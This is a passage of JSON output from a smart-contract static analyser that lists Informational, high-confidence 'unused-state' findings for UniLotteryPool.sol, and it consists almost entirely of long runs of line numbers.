4027, 4028, 4029, 4030, 4031, 4032, 4033, 4034, 4035, 4036, 4037, 4038, 4039, 4040, 4041, 4042, 4043, 4044, 4045, 4046, 4047, 4048, 4049, 4050, 4051, 4052, 4053, 4054, 4055, 4056, 4057, 4058, 4059, 4060, 4061, 4062, 4063, 4064, 4065, 4066, 4067, 4068, 4069, 4070, 4071, 4072, 4073, 4074, 4075, 4076, 4077, 4078, 4079, 4080, 4081, 4082, 4083, 4084, 4085, 4086, 4087, 4088, 4089, 4090, 4091, 4092, 4093, 4094, 4095, 4096, 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, 4107, 4108, 4109, 4110, 4111, 4112, 4113, 4114, 4115, 4116, 4117, 4118, 4119, 4120, 4121, 4122, 4123, 4124, 4125, 4126, 4127, 4128, 4129, 4130, 4131, 4132, 4133, 4134, 4135, 4136, 4137, 4138, 4139, 4140, 4141, 4142, 4143, 4144, 4145, 4146, 4147, 4148, 4149, 4150, 4151, 4152, 4153, 4154, 4155, 4156, 4157, 4158, 4159, 4160, 4161, 4162, 4163, 4164, 4165, 4166, 4167, 4168, 4169, 4170, 4171, 4172, 4173, 4174, 4175, 4176, 4177, 4178, 4179, 4180, 4181, 4182, 4183, 4184, 4185, 4186, 4187, 4188, 4189, 4190, 4191, 4192, 4193, 4194, 4195, 4196, 4197, 4198, 4199, 4200, 4201, 4202, 4203, 4204, 4205, 4206, 4207, 4208, 4209, 4210, 4211, 4212, 4213, 4214, 4215, 4216, 4217, 4218, 4219, 4220, 4221, 4222, 4223, 4224, 4225, 4226, 4227, 4228, 4229, 4230, 4231, 4232, 4233, 4234, 4235, 4236, 4237, 4238, 4239, 4240, 4241, 4242, 4243, 4244, 4245, 4246, 4247, 4248, 4249, 4250, 4251, 4252, 4253, 4254, 4255, 4256, 4257, 4258, 4259, 4260, 4261, 4262, 4263, 4264, 4265, 4266, 4267, 4268, 4269, 4270, 4271, 4272, 4273, 4274, 4275, 4276, 4277, 4278, 4279, 4280, 4281, 4282, 4283, 4284, 4285, 4286, 4287, 4288, 4289, 4290, 4291, 4292, 4293, 4294, 4295, 4296, 4297, 4298, 4299, 4300, 4301, 4302, 4303, 4304, 4305, 4306, 4307, 4308, 4309, 4310, 4311, 4312, 4313, 4314, 4315, 4316, 4317, 4318, 4319, 4320, 4321, 4322, 4323, 4324, 4325, 4326, 4327, 4328, 4329, 4330, 4331, 4332, 4333, 4334, 4335, 4336, 4337, 4338, 4339, 4340, 4341, 4342, 4343, 4344, 4345, 4346, 4347, 4348, 4349, 4350, 4351, 4352, 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4360, 4361, 4362, 4363, 4364, 4365, 4366, 4367, 4368, 4369, 4370, 4371, 4372, 4373, 4374, 4375, 4376, 4377, 4378, 4379, 4380, 4381, 4382, 4383, 4384, 4385, 4386, 4387, 4388, 4389, 4390, 4391, 4392, 4393, 4394, 4395, 4396, 4397, 4398, 4399, 4400, 4401, 4402, 4403, 4404, 4405, 4406, 4407, 4408, 4409, 4410, 4411, 4412, 4413, 4414, 4415, 4416, 4417, 4418, 4419, 4420, 4421, 4422, 4423, 4424, 4425, 4426, 4427, 4428, 4429, 4430, 4431, 4432, 4433, 4434, 4435, 4436, 4437, 4438, 4439, 4440, 4441, 4442, 4443, 4444, 4445, 4446, 4447, 4448, 4449, 4450, 4451, 4452, 4453, 4454, 4455, 4456, 4457, 4458, 4459, 4460, 4461, 4462, 4463, 4464, 4465, 4466, 4467, 4468, 4469, 4470, 4471, 4472, 4473, 4474, 4475, 4476, 4477, 4478, 4479, 4480, 4481, 4482, 4483, 4484, 4485, 4486, 4487, 4488, 4489, 4490, 4491, 4492, 4493, 4494, 4495, 4496, 4497, 4498, 4499, 4500, 4501, 4502, 4503, 4504, 4505, 4506, 4507, 4508, 4509, 4510, 4511, 4512, 4513, 4514, 4515, 4516, 4517, 4518, 4519, 4520, 4521, 4522, 4523, 4524, 4525, 4526, 4527, 4528, 4529, 4530, 4531, 4532, 4533, 4534, 4535, 4536, 4537, 4538, 4539, 4540, 4541, 4542, 4543, 4544, 4545, 4546, 4547, 4548, 4549, 4550, 4551, 4552, 4553, 4554, 4555, 4556, 4557, 4558, 4559, 4560, 4561, 4562, 4563, 4564, 4565, 4566, 4567, 4568, 4569, 4570, 4571, 4572, 4573, 4574, 4575, 4576, 4577, 4578, 4579, 4580, 4581, 4582, 4583, 4584, 4585, 4586, 4587, 4588, 4589, 4590, 4591, 4592, 4593, 4594, 4595, 4596, 4597, 4598, 4599, 4600, 4601, 4602, 4603, 4604, 4605, 4606, 4607, 4608, 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, 4619, 4620, 4621, 4622, 4623, 4624, 4625, 4626, 4627, 4628, 4629, 4630, 4631, 4632, 4633, 4634, 4635, 4636, 4637, 4638, 4639, 4640, 4641, 4642, 4643, 4644, 4645, 4646, 4647, 4648, 4649, 4650, 4651, 4652, 4653, 4654, 4655, 4656, 4657, 4658, 4659, 4660, 4661, 4662, 4663, 4664, 4665, 4666, 4667, 4668, 4669, 4670, 4671, 4672, 4673, 4674, 4675, 4676, 4677, 4678, 4679, 4680, 4681, 4682, 4683, 4684, 4685, 4686, 4687, 4688, 4689, 4690, 4691, 4692, 4693, 4694, 4695, 4696, 4697, 4698, 4699, 4700, 4701, 4702, 4703, 4704, 4705, 4706, 4707, 4708, 4709, 4710, 4711, 4712, 4713, 4714, 4715, 4716, 4717, 4718, 4719, 4720, 4721, 4722, 4723, 4724, 4725, 4726, 4727, 4728, 4729, 4730, 4731, 4732, 4733, 4734, 4735, 4736, 4737, 4738, 4739, 4740, 4741, 4742, 4743, 4744, 4745, 4746, 4747, 4748, 4749, 4750, 4751, 4752, 4753, 4754, 4755, 4756, 4757, 4758, 4759, 4760, 4761, 4762, 4763, 4764, 4765, 4766, 4767, 4768, 4769, 4770, 4771, 4772, 4773, 4774, 4775, 4776, 4777, 4778, 4779, 4780, 4781, 4782, 4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792, 4793, 4794, 4795, 4796, 4797, 4798, 4799, 4800, 4801, 4802, 4803, 4804, 4805, 4806, 4807, 4808, 4809, 4810, 4811, 4812, 4813, 4814, 4815, 4816, 4817, 4818, 4819, 4820, 4821, 4822, 4823, 4824, 4825, 4826, 4827, 4828, 4829, 4830, 4831, 4832, 4833, 4834, 4835, 4836, 4837, 4838, 4839, 4840, 4841, 4842, 4843, 4844, 4845, 4846, 4847, 4848]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6940, 6941, 6942, 6943, 6944, 6945, 6946, 6947, 6948, 6949, 6950, 6951, 6952, 6953, 6954, 6955, 6956, 6957, 6958, 6959, 6960, 6961, 6962, 6963, 6964, 6965, 6966, 6967, 6968, 6969, 6970, 6971, 6972, 6973, 6974, 6975, 6976, 6977, 6978, 6979, 6980, 6981, 6982, 6983, 6984, 6985, 6986, 6987, 6988, 6989, 6990, 6991, 6992, 6993, 6994, 6995, 6996, 6997, 6998, 6999, 7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010, 7011, 7012, 7013, 7014, 7015, 7016, 7017, 7018, 7019, 7020, 7021, 7022, 7023, 7024, 7025, 7026, 7027, 7028, 7029, 7030, 7031, 7032, 7033, 7034, 7035, 7036, 7037, 7038, 7039, 7040, 7041, 7042, 7043, 7044, 7045, 7046, 7047, 7048]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [6307, 6308, 6309, 6310, 6311, 6312, 6313, 6314, 6315, 6316, 6317, 6318, 6319, 6320, 6321, 6322, 6323, 6324, 6325, 6326, 6327, 6328, 6329, 6330, 6331, 6332, 6333, 6334, 6335, 6336, 6337, 6338, 6339, 6340, 6341, 6342, 6343, 6344, 6345, 6346, 6347, 6348, 6349, 6350, 6351, 6352, 6353, 6354, 6355, 6356, 6357, 6358, 6359, 6360, 6361, 6362, 6363, 6364, 6365, 6366, 6367, 6368, 6369, 6370, 6371, 6372, 6373, 6374, 6375, 6376, 6377, 6378, 6379, 6380, 6381, 6382, 6383, 6384, 6385, 6386, 6387, 6388, 6389, 6390, 6391, 6392, 6393, 6394, 6395, 6396, 6397, 6398, 6399, 6400, 6401, 6402, 6403, 6404, 6405, 6406, 6407, 6408, 6409, 6410, 6411, 6412, 6413, 6414, 6415, 6416, 6417, 6418, 6419, 6420, 6421, 6422, 6423, 6424, 6425, 6426, 6427, 6428, 6429, 6430, 6431, 6432, 6433, 6434, 6435, 6436, 6437, 6438, 6439, 6440, 6441, 6442, 6443, 6444, 6445, 6446, 6447, 6448, 6449, 6450, 6451, 6452, 6453, 6454, 6455, 6456, 6457, 6458, 6459, 6460, 6461, 6462, 6463, 6464, 6465, 6466, 6467, 6468, 6469, 6470, 6471, 6472, 6473, 6474, 6475, 6476, 6477, 6478, 6479, 6480, 6481, 6482, 6483, 6484, 6485, 6486, 6487, 6488, 6489, 6490, 6491, 6492, 6493, 6494, 6495, 6496, 6497, 6498, 6499, 6500, 6501, 6502, 6503, 6504, 6505, 6506, 6507, 6508, 6509, 6510, 6511, 6512, 6513, 6514, 6515, 6516, 6517, 6518, 6519, 6520, 6521, 6522, 6523, 6524, 6525, 6526, 6527, 6528, 6529, 6530, 6531, 6532, 6533, 6534, 6535, 6536, 6537, 6538, 6539, 6540, 6541, 6542, 6543, 6544, 6545, 6546, 6547, 6548, 6549, 6550, 6551, 6552, 6553, 6554, 6555, 6556, 6557, 6558, 6559, 6560, 6561, 6562, 6563, 6564, 6565, 6566, 6567, 6568, 6569, 6570, 6571, 6572, 6573, 6574, 6575, 6576, 6577, 6578, 6579, 6580, 6581, 6582, 6583, 6584, 6585, 6586, 6587, 6588, 6589, 6590, 6591, 6592, 6593, 6594, 6595, 6596, 6597, 6598, 6599, 6600, 6601, 6602, 6603, 6604, 6605, 6606, 6607, 6608, 6609, 6610, 6611, 6612, 6613, 6614, 6615, 6616, 6617, 6618, 6619, 6620, 6621, 6622, 6623, 6624, 6625, 6626, 6627, 6628, 6629, 6630, 6631, 6632, 6633, 6634, 6635, 6636, 6637, 6638, 6639, 6640, 6641, 6642, 6643, 6644, 6645, 6646, 6647, 6648, 6649, 6650, 6651, 6652, 6653, 6654, 6655, 6656, 6657, 6658, 6659, 6660, 6661, 6662, 6663, 6664, 6665, 6666, 6667, 6668, 6669, 6670, 6671, 6672, 6673, 6674, 6675, 6676, 6677, 6678, 6679, 6680, 6681, 6682, 6683, 6684, 6685, 6686, 6687, 6688, 6689, 6690, 6691, 6692, 6693, 6694, 6695, 6696, 6697, 6698, 6699, 6700, 6701, 6702, 6703, 6704, 6705, 6706, 6707, 6708, 6709, 6710, 6711, 6712, 6713, 6714, 6715, 6716, 6717, 6718, 6719, 6720, 6721, 6722, 6723, 6724, 6725, 6726, 6727, 6728, 6729, 6730, 6731, 6732, 6733, 6734, 6735, 6736, 6737, 6738, 6739, 6740, 6741, 6742, 6743, 6744, 6745, 6746, 6747, 6748, 6749, 6750, 6751, 6752, 6753, 6754, 6755, 6756]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [3028, 3029, 3030, 3031, 3032, 3033, 3034, 3035, 3036, 3037, 3038, 3039, 3040, 3041, 3042, 3043, 3044, 3045, 3046, 3047, 3048, 3049, 3050, 3051, 3052, 3053, 3054, 3055, 3056, 3057, 3058, 3059, 3060, 3061, 3062, 3063, 3064, 3065, 3066, 3067, 3068, 3069, 3070, 3071, 3072, 3073, 3074, 3075, 3076, 3077, 3078, 3079, 3080, 3081, 3082, 3083, 3084, 3085, 3086, 3087, 3088, 3089, 3090, 3091, 3092, 3093, 3094, 3095, 3096, 3097, 3098, 3099, 3100, 3101, 3102, 3103, 3104, 3105, 3106, 3107, 3108, 3109, 3110, 3111, 3112, 3113, 3114, 3115, 3116, 3117, 3118, 3119, 3120, 3121, 3122, 3123, 3124, 3125, 3126, 3127, 3128, 3129, 3130, 3131, 3132, 3133, 3134, 3135, 3136, 3137, 3138, 3139, 3140, 3141, 3142, 3143, 3144, 3145, 3146, 3147, 3148, 3149, 3150, 3151, 3152, 3153, 3154, 3155, 3156, 3157, 3158, 3159, 3160, 3161, 3162, 3163, 3164, 3165, 3166, 3167, 3168, 3169, 3170, 3171, 3172, 3173, 3174, 3175, 3176, 3177, 3178, 3179, 3180, 3181, 3182, 3183, 3184, 3185, 3186, 3187, 3188, 3189, 3190, 3191, 3192, 3193, 3194, 3195, 3196, 3197, 3198, 3199, 3200, 3201, 3202, 3203, 3204, 3205, 3206, 3207, 3208, 3209, 3210, 3211, 3212, 3213, 3214, 3215, 3216, 3217, 3218, 3219, 3220, 3221, 3222, 3223, 3224, 3225, 3226, 3227, 3228, 3229, 3230, 3231, 3232, 3233, 3234, 3235, 3236, 3237, 3238, 3239, 3240, 3241, 3242, 3243, 3244, 3245, 3246, 3247, 3248, 3249, 3250, 3251, 3252, 3253, 3254, 3255, 3256, 3257, 3258, 3259, 3260, 3261, 3262, 3263, 3264, 3265, 3266, 3267, 3268, 3269, 3270, 3271, 3272, 3273, 3274, 3275, 3276, 3277, 3278, 3279, 3280, 3281, 3282, 3283, 3284, 3285, 3286, 3287, 3288, 3289, 3290, 3291, 3292, 3293, 3294, 3295, 3296, 3297, 3298, 3299, 3300, 3301, 3302, 3303, 3304, 3305, 3306, 3307, 3308, 3309, 3310, 3311, 3312, 3313, 3314, 3315, 3316, 3317, 3318, 3319, 3320, 3321, 3322, 3323, 3324, 3325, 3326, 3327, 3328, 3329, 3330, 3331, 3332, 3333, 3334, 3335, 3336, 3337, 3338, 3339, 3340, 3341, 3342, 3343, 3344, 3345, 3346, 3347, 3348, 3349, 3350, 3351, 3352, 3353, 3354, 3355, 3356, 3357, 3358, 3359, 3360, 3361, 3362, 3363, 3364, 3365, 3366, 3367, 3368, 3369, 3370, 3371, 3372, 3373, 3374, 3375, 3376, 3377, 3378, 3379, 3380, 3381, 3382, 3383, 3384, 3385, 3386, 3387, 3388, 3389, 3390, 3391, 3392, 3393, 3394, 3395, 3396, 3397, 3398, 3399, 3400, 3401, 3402, 3403, 3404, 3405, 3406, 3407, 3408, 3409, 3410, 3411, 3412, 3413, 3414, 3415, 3416, 3417, 3418, 3419, 3420, 3421, 3422, 3423, 3424, 3425, 3426, 3427, 3428, 3429, 3430, 3431, 3432, 3433, 3434, 3435, 3436, 3437, 3438, 3439, 3440, 3441, 3442, 3443, 3444, 3445, 3446, 3447, 3448, 3449, 3450, 3451, 3452, 3453, 3454, 3455, 3456, 3457, 3458, 3459, 3460, 3461, 3462, 3463, 3464, 3465, 3466, 3467, 3468, 3469, 3470, 3471, 3472, 3473, 3474, 3475, 3476, 3477, 3478, 3479, 3480, 3481, 3482, 3483, 3484, 3485, 3486, 3487, 3488, 3489, 3490, 3491, 3492, 3493, 3494, 3495, 3496, 3497, 3498, 3499, 3500, 3501, 3502, 3503, 3504, 3505, 3506, 3507, 3508, 3509, 3510, 3511, 3512, 3513, 3514, 3515, 3516, 3517, 3518, 3519, 3520, 3521, 3522, 3523, 3524, 3525, 3526, 3527, 3528, 3529, 3530, 3531, 3532, 3533, 3534, 3535, 3536, 3537, 3538, 3539, 3540, 3541, 3542, 3543, 3544, 3545, 3546, 3547, 3548, 3549, 3550, 3551, 3552, 3553, 3554, 3555, 3556, 3557, 3558, 3559, 3560, 3561, 3562, 3563, 3564, 3565, 3566, 3567, 3568, 3569, 3570, 3571, 3572, 3573, 3574, 3575, 3576, 3577, 3578, 3579, 3580, 3581, 3582, 3583, 3584, 3585, 3586, 3587, 3588, 3589, 3590, 3591, 3592, 3593, 3594, 3595, 3596, 3597, 3598, 3599, 3600, 3601, 3602, 3603, 3604, 3605, 3606, 3607, 3608, 3609, 3610, 3611, 3612, 3613, 3614, 3615, 3616, 3617, 3618, 3619, 3620, 3621, 3622, 3623, 3624, 3625, 3626, 3627, 3628, 3629, 3630, 3631, 3632, 3633, 3634, 3635, 3636, 3637, 3638, 3639, 3640, 3641, 3642, 3643, 3644, 3645, 3646, 3647, 3648, 3649, 3650, 3651, 3652, 3653, 3654, 3655, 3656, 3657, 3658, 3659, 3660, 3661, 3662, 3663, 3664, 3665, 3666, 3667, 3668, 3669, 3670, 3671, 3672, 3673, 3674, 3675, 3676, 3677, 3678, 3679, 3680, 3681, 3682, 3683, 3684, 3685, 3686, 3687, 3688, 3689, 3690, 3691, 3692, 3693, 3694, 3695, 3696, 3697, 3698, 3699, 3700, 3701, 3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710, 3711, 3712, 3713, 3714, 3715, 3716, 3717, 3718, 3719, 3720, 3721, 3722, 3723, 3724, 3725, 3726, 3727, 3728, 3729, 3730, 3731, 3732, 3733, 3734, 3735, 3736, 3737, 3738, 3739, 3740, 3741, 3742, 3743, 3744, 3745, 3746, 3747, 3748, 3749, 3750, 3751, 3752, 3753, 3754, 3755, 3756, 3757, 3758, 3759, 3760, 3761, 3762, 3763, 3764, 3765, 3766, 3767, 3768, 3769, 3770, 3771, 3772, 3773, 3774, 3775, 3776, 3777, 3778, 3779, 3780, 3781, 3782, 3783, 3784, 3785, 3786, 3787, 3788, 3789, 3790, 3791, 3792, 3793, 3794, 3795, 3796, 3797, 3798, 3799, 3800, 3801, 3802, 3803, 3804, 3805, 3806, 3807, 3808, 3809, 3810, 3811, 3812, 3813, 3814, 3815, 3816, 3817, 3818, 3819, 3820, 3821, 3822, 3823, 3824, 3825, 3826, 3827, 3828, 3829, 3830, 3831, 3832, 3833, 3834, 3835, 3836, 3837, 3838, 3839, 3840, 3841, 3842, 3843, 3844, 3845, 3846, 3847, 3848, 3849, 3850, 3851, 3852, 3853, 3854, 3855, 3856, 3857, 3858, 3859, 3860, 3861, 3862, 3863, 3864, 3865, 3866, 3867, 3868, 3869, 3870, 3871, 3872, 3873, 3874, 3875, 3876, 3877, 3878, 3879, 3880, 3881, 3882, 3883, 3884, 3885, 3886, 3887, 3888, 3889, 3890, 3891, 3892, 3893, 3894, 3895, 3896, 3897, 3898, 3899, 3900, 3901, 3902, 3903, 3904, 3905, 3906, 3907, 3908, 3909, 3910, 3911, 3912, 3913, 3914, 3915, 3916, 3917, 3918, 3919, 3920, 3921, 3922, 3923, 3924, 3925, 3926, 3927, 3928, 3929, 3930, 3931, 3932, 3933, 3934, 3935, 3936, 3937, 3938, 3939, 3940, 3941, 3942, 3943, 3944, 3945, 3946, 3947, 3948, 3949, 3950, 3951, 3952, 3953, 3954, 3955, 3956, 3957, 3958, 3959, 3960, 3961, 3962, 3963, 3964, 3965, 3966, 3967, 3968, 3969, 3970, 3971, 3972, 3973, 3974, 3975, 3976, 3977, 3978, 3979, 3980, 3981, 3982, 3983, 3984, 3985, 3986, 3987, 3988, 3989, 3990, 3991, 3992, 3993, 3994, 3995, 3996, 3997, 3998, 3999, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4007, 4008, 4009, 4010, 4011, 4012, 4013, 4014, 4015, 4016, 4017, 4018, 4019, 4020, 4021, 4022, 4023, 4024, 4025, 4026, 4027, 4028, 4029, 4030, 4031, 4032, 4033, 4034, 4035, 4036, 4037, 4038, 4039, 4040, 4041, 4042, 4043, 4044, 4045, 4046, 4047, 4048, 4049, 4050, 4051, 4052, 4053, 4054, 4055, 4056, 4057, 4058, 4059, 4060, 4061, 4062, 4063, 4064, 4065, 4066, 4067, 4068, 4069, 4070, 4071, 4072, 4073, 4074, 4075, 4076, 4077, 4078, 4079, 4080, 4081, 4082, 4083, 4084, 4085, 4086, 4087, 4088, 4089, 4090, 4091, 4092, 4093, 4094, 4095, 4096, 4097, 4098, 4099, 4100, 4101, 4102, 4103, 4104, 4105, 4106, 4107, 4108, 4109, 4110, 4111, 4112, 4113, 4114, 4115, 4116, 4117, 4118, 4119, 4120, 4121, 4122, 4123, 4124, 4125, 4126, 4127, 4128, 4129, 4130, 4131, 4132, 4133, 4134, 4135, 4136, 4137, 4138, 4139, 4140, 4141, 4142, 4143, 4144, 4145, 4146, 4147, 4148, 4149, 4150, 4151, 4152, 4153, 4154, 4155, 4156, 4157, 4158, 4159, 4160, 4161, 4162, 4163, 4164, 4165, 4166, 4167, 4168, 4169, 4170, 4171, 4172, 4173, 4174, 4175, 4176, 4177, 4178, 4179, 4180, 4181, 4182, 4183, 4184, 4185, 4186, 4187, 4188, 4189, 4190, 4191, 4192, 4193, 4194, 4195, 4196, 4197, 4198, 4199, 4200, 4201, 4202, 4203, 4204, 4205, 4206, 4207, 4208, 4209, 4210, 4211, 4212, 4213, 4214, 4215, 4216, 4217, 4218, 4219, 4220, 4221, 4222, 4223, 4224, 4225, 4226, 4227, 4228, 4229, 4230, 4231, 4232, 4233, 4234, 4235, 4236, 4237, 4238, 4239, 4240, 4241, 4242, 4243, 4244, 4245, 4246, 4247, 4248, 4249, 4250, 4251, 4252, 4253, 4254, 4255, 4256, 4257, 4258, 4259, 4260, 4261, 4262, 4263, 4264, 4265, 4266, 4267, 4268, 4269, 4270, 4271, 4272, 4273, 4274, 4275, 4276, 4277, 4278, 4279, 4280, 4281, 4282, 4283, 4284, 4285, 4286, 4287, 4288, 4289, 4290, 4291, 4292, 4293, 4294, 4295, 4296, 4297, 4298, 4299, 4300, 4301, 4302, 4303, 4304, 4305, 4306, 4307, 4308, 4309, 4310, 4311, 4312, 4313, 4314, 4315, 4316, 4317, 4318, 4319, 4320, 4321, 4322, 4323, 4324, 4325, 4326, 4327, 4328, 4329, 4330, 4331, 4332, 4333, 4334, 4335, 4336, 4337, 4338, 4339, 4340, 4341, 4342, 4343, 4344, 4345, 4346, 4347, 4348, 4349, 4350, 4351, 4352, 4353, 4354, 4355, 4356, 4357, 4358, 4359, 4360, 4361, 4362, 4363, 4364, 4365, 4366, 4367, 4368, 4369, 4370, 4371, 4372, 4373, 4374, 4375, 4376, 4377, 4378, 4379, 4380, 4381, 4382, 4383, 4384, 4385, 4386, 4387, 4388, 4389, 4390, 4391, 4392, 4393, 4394, 4395, 4396, 4397, 4398, 4399, 4400, 4401, 4402, 4403, 4404, 4405, 4406, 4407, 4408, 4409, 4410, 4411, 4412, 4413, 4414, 4415, 4416, 4417, 4418, 4419, 4420, 4421, 4422, 4423, 4424, 4425, 4426, 4427, 4428, 4429, 4430, 4431, 4432, 4433, 4434, 4435, 4436, 4437, 4438, 4439, 4440, 4441, 4442, 4443, 4444, 4445, 4446, 4447, 4448, 4449, 4450, 4451, 4452, 4453, 4454, 4455, 4456, 4457, 4458, 4459, 4460, 4461, 4462, 4463, 4464, 4465, 4466, 4467, 4468, 4469, 4470, 4471, 4472, 4473, 4474, 4475, 4476, 4477, 4478, 4479, 4480, 4481, 4482, 4483, 4484, 4485, 4486, 4487, 4488, 4489, 4490, 4491, 4492, 4493, 4494, 4495, 4496, 4497, 4498, 4499, 4500, 4501, 4502, 4503, 4504, 4505, 4506, 4507, 4508, 4509, 4510, 4511, 4512, 4513, 4514, 4515, 4516, 4517, 4518, 4519, 4520, 4521, 4522, 4523, 4524, 4525, 4526, 4527, 4528, 4529, 4530, 4531, 4532, 4533, 4534, 4535, 4536, 4537, 4538, 4539, 4540, 4541, 4542, 4543, 4544, 4545, 4546, 4547, 4548, 4549, 4550, 4551, 4552, 4553, 4554, 4555, 4556, 4557, 4558, 4559, 4560, 4561, 4562, 4563, 4564, 4565, 4566, 4567, 4568, 4569, 4570, 4571, 4572, 4573, 4574, 4575, 4576, 4577, 4578, 4579, 4580, 4581, 4582, 4583, 4584, 4585, 4586, 4587, 4588, 4589, 4590, 4591, 4592, 4593, 4594, 4595, 4596, 4597, 4598, 4599, 4600, 4601, 4602, 4603, 4604, 4605, 4606, 4607, 4608, 4609, 4610, 4611, 4612, 4613, 4614, 4615, 4616, 4617, 4618, 4619, 4620, 4621, 4622, 4623, 4624, 4625, 4626, 4627, 4628, 4629, 4630, 4631, 4632, 4633, 4634, 4635, 4636, 4637, 4638, 4639, 4640, 4641, 4642, 4643, 4644, 4645, 4646, 4647, 4648, 4649, 4650, 4651, 4652, 4653, 4654, 4655, 4656, 4657, 4658, 4659, 4660, 4661, 4662, 4663, 4664, 4665, 4666, 4667, 4668, 4669, 4670, 4671, 4672, 4673, 4674, 4675, 4676, 4677, 4678, 4679, 4680, 4681, 4682, 4683, 4684, 4685, 4686, 4687, 4688, 4689, 4690, 4691, 4692, 4693, 4694, 4695, 4696, 4697, 4698, 4699, 4700, 4701, 4702, 4703, 4704, 4705, 4706, 4707, 4708, 4709, 4710, 4711, 4712, 4713, 4714, 4715, 4716, 4717, 4718, 4719, 4720, 4721, 4722, 4723, 4724, 4725, 4726, 4727, 4728, 4729, 4730, 4731, 4732, 4733, 4734, 4735, 4736, 4737, 4738, 4739, 4740, 4741, 4742, 4743, 4744, 4745, 4746, 4747, 4748, 4749, 4750, 4751, 4752, 4753, 4754, 4755, 4756, 4757, 4758, 4759, 4760, 4761, 4762, 4763, 4764, 4765, 4766, 4767, 4768, 4769, 4770, 4771, 4772, 4773, 4774, 4775, 4776, 4777, 4778, 4779, 4780, 4781, 4782, 4783, 4784, 4785, 4786, 4787, 4788, 4789, 4790, 4791, 4792, 4793, 4794, 4795, 4796, 4797, 4798, 4799, 4800, 4801, 4802, 4803, 4804, 4805, 4806, 4807, 4808, 4809, 4810, 4811, 4812, 4813, 4814, 4815, 4816, 4817, 4818, 4819, 4820, 4821, 4822, 4823, 4824, 4825, 4826, 4827, 4828, 4829, 4830, 4831, 4832, 4833, 4834, 4835, 4836, 4837, 4838, 4839, 4840, 4841, 4842, 4843, 4844, 4845, 4846, 4847, 4848]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"UniLotteryPool.sol": [724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763, 764, 765, 766, 767, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 786, 787, 788, 789, 790, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 801, 802, 803, 804, 805, 806, 807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820, 821, 822, 823, 824, 825, 826, 827, 828, 829, 830, 831, 832, 833, 834, 835, 836, 837, 838, 839, 840, 841, 842, 843, 844, 845, 846, 847, 848, 849, 850, 851, 852, 853, 854, 855, 856, 857, 858, 859, 860, 861, 862, 863, 864, 865, 866, 867, 868, 869, 870, 871, 872, 873, 874, 875, 876, 877, 878, 879, 880, 881, 882, 883, 884, 885, 886, 887, 888, 889, 890, 891, 892, 893, 894, 895, 896, 897, 898, 899, 900, 901, 902, 903, 904, 905, 906, 907, 908, 909, 910, 911, 912, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963, 964, 965, 966, 967, 968, 969, 970, 971, 972, 973, 974, 975, 976, 977, 978, 979, 980, 981, 982, 983, 984, 985, 986, 987, 988, 989, 990, 991, 992, 993, 994, 995, 996, 997, 998, 999, 1000, 1001, 1002, 1003, 1004, 1005, 1006, 1007, 1008, 1009, 1010, 1011, 1012, 1013, 1014, 1015, 1016, 1017, 1018, 1019, 1020, 1021, 1022, 1023, 1024, 1025, 1026, 1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039, 1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052, 1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091, 1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103, 1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112, 1113, 1114, 1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147, 1148, 1149, 1150, 1151, 1152, 1153, 1154, 1155, 1156, 1157, 1158, 1159, 1160, 1161, 1162, 1163, 1164, 1165, 1166, 1167, 1168, 1169, 1170, 1171, 1172, 1173, 1174, 1175, 1176, 1177, 1178, 1179, 1180, 1181, 1182, 1183, 1184, 1185, 1186, 1187, 1188, 1189, 1190, 1191, 1192, 1193, 1194, 1195, 1196, 1197, 1198, 1199, 1200, 1201, 1202, 1203, 1204, 1205, 1206, 1207, 1208, 1209, 1210, 1211, 1212, 1213, 1214, 1215, 1216, 1217, 1218, 1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226, 1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234, 1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242, 1243, 1244, 1245, 1246, 1247, 1248, 1249, 1250, 1251, 1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260, 1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269, 1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278, 1279, 1280, 1281, 1282, 1283, 1284, 1285, 1286, 1287, 1288, 1289, 1290, 1291, 1292, 